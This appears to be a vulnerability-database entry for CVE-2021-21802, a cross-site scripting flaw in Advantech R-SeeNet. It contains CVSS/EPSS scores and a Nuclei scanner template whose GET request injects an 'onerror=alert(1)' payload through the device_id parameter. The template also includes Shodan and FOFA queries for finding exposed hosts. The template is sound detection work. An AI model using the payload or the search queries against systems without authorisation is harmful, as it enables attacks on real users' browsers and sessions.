6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.802 High
EPSS
Percentile
98.3%
Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
id: CVE-2021-21802
info:
name: Advantech R-SeeNet - Cross-Site Scripting
author: gy741
severity: medium
description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
- https://nvd.nist.gov/vuln/detail/CVE-2021-21801
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-21802
cwe-id: CWE-79
epss-score: 0.80194
epss-percentile: 0.98308
cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: advantech
product: r-seenet
shodan-query: http.html:"r-seenet"
fofa-query: body="r-seenet"
tags: cve2021,cve,rseenet,xss,advantech
http:
- method: GET
path:
- '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"zlo onerror=alert(1) "'
- 'Device Status Graph'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100cd46af1935b78ddabc1df51e8d524d1eb0f1512af303e5782c69254e0ffc7b41022100d50646e7154c919aede3e7f7a7d121c3b53195dab4670007883da7f12d2e29a2:922c64590222798bb761d5b6d8e72950
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.802 High
EPSS
Percentile
98.3%